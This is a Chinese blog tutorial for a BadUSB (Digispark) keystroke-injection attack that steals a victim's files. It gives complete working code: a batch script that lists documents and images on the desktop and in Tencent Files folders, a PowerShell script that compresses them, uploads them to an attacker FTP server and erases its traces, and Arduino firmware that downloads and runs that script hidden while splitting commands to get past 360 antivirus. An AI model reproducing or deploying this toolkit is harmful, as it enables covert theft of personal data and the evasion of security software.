前言
本文是在m大的https://www.freebuf.com/articles/100026.html基础上 进行 digispark代码的适配 以及 360的免杀处理,以弥补原教程的缺失,再次感谢m大提供的思路。
本文对360免杀处理 以及 digispark的代码转换 为博主原创。
本文对m大的文章进行整合修改,并加入digispark的适配以及360免杀的处理部分,以及提供文章提到的相关文件下载。
准备工具
一台外网主机(直接电脑接网线宽带拨号也可以)
一个HID攻击工具(烧鹅或者Badusb)
FTPserver(搭建一个FTP服务器用来接收窃取到的文件)
PHPstudy(搭建http服务器用来存放ps脚本等)
7z.exe / 7z.dll(存放到http服务器下,之后会利用它来进行压缩后在上传,尽量减小上传速度)
PS:7z.exe以及7z.dll在文末下载。
代码部分(以下代码可能具有攻击性,请勿用于非法用途)
1.[get.bat](获取需要的文件存放位置,并保存到c:\temp.bat)[该代码存放于服务器http根目录下]
博主PS:此处是寻找对应文件夹里面*.txt等文件类型后缀的文件,保存到c盘根目录的temp.bat。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
dir /s /a /b "%userprofile%\desktop\*.txt">c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.doc">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.docx">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.xlsx">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.ppt">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.eet">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.et">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.xlt">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.pdf">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.jpg">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.jpeg">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.png">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.bmp">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.gif">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.rtf">>c:\temp.bat dir /s /a /b "%userprofile%\desktop\*.htl">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.txt">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.doc">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.docx">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlsx">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.ppt">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.eet">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.et">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlt">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.pdf">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpg">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpeg">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.png">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.bmp">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.gif">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.rtf">>c:\temp.bat dir /s /a /b "%userprofile%\Documents\Tencent Files\*.htl">>c:\temp.bat |
2.[get.ps1](清除运行记录,下载服务器中的7z.dll / 7z.exe / get.bat到c盘到相应位置,处理c:\temp.bat为7z压缩为c:\Ram.7z,上传c:\Ram.7z到FTP服务器根目录下,删除所有下载的文件!!!一共需要改4处IP地址!!!)[该代码存放于服务器http根目录下记得设置FTP服务器密码为admin admin]
博主PS:此处是对刚刚寻找到的文件进行压缩并上传到你自己的服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f; (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll'); (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.exe','c:\7z.exe'); (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/get.bat','c:\Users\Public\get.bat'); C:\Users\Public\get.bat;$array="";foreach($u in(get-content c:\temp.bat)){[array]$array +='c:\7z a -t7z c:\Ram.7z "'+$u+'"'};$array | Out-File -Encoding default c:\temp.bat;c:\temp.bat; $fileinf=New-Object System.Io.FileInfo("C:\Ram.7z"); $ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://192.168.1.1/"+$fileinf.name) $ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile $ftp.Credentials = new-object System.Net.NetworkCredential("admin","admin") $ftp.UseBinary = $true $ftp.UsePassive = $true $content = [System.IO.File]::ReadAllBytes($fileInf.fullname) $ftp.ContentLength = $content.Length $rs = $ftp.GetRequestStream() $rs.Write($content, 0, $content.Length) $rs.Close() $rs.Dispose() Remove-Item c:\temp.bat Remove-Item c:\Ram.* Remove-Item c:\7z.* Remove-Item c:\Users\Public\get.* |
(下条为博主修改过的原创内容!)
3.[get.ino](以管理员权限下载get.ps1到本地c:\users\public目录!!!需要改1处IP地址!!!UAC闪过之后要记得拔出)[修改IP后直接刷入]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
#include "DigiKeyboard.h" #define KEY_LEFT_SHIFT 0xE1 #define KEY_LEFT_ALT 0xE1 void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(100); DigiKeyboard.sendKeyPress(KEY_LEFT_SHIFT);//按住左SHIFT,绕过输入法 DigiKeyboard.println("POWERSHELL -NOP"); DigiKeyboard.sendKeyPress(0);//松开 DigiKeyboard.sendKeyStroke(KEY_ENTER);//按回车 DigiKeyboard.delay(2000); DigiKeyboard.println("$clnt=new-object System.Net.WebClient;");//开始分part执行实现360免杀 DigiKeyboard.println("$url='http://你上传的服务器域名/GET.ps1\';"); DigiKeyboard.println("$file='C:\\USERS\\PUBLIC\\GET.PS1';"); DigiKeyboard.println("$clnt.DownloadFile($url,$file);"); DigiKeyboard.println("START-PROCESS POWERSHELL.exe \"C:\\USERS\\PUBLIC\\GET.PS1\" -WindowStyle Hidden"); DigiKeyboard.println("exit"); } void loop() { DigiKeyboard.sendKeyPress(KEY_LEFT_ALT); DigiKeyboard.sendKeyPress(KEY_LEFT_ALT); DigiKeyboard.print("y"); DigiKeyboard.sendKeyPress(KEY_LEFT_ALT); DigiKeyboard.sendKeyPress(KEY_LEFT_ALT); DigiKeyboard.sendKeyPress(KEY_LEFT_ALT); DigiKeyboard.sendKeyPress(KEY_LEFT_ALT); } |
上面通过分part执行,以跳过360的弹窗提示。
以上。
相关文件下载链接在文末。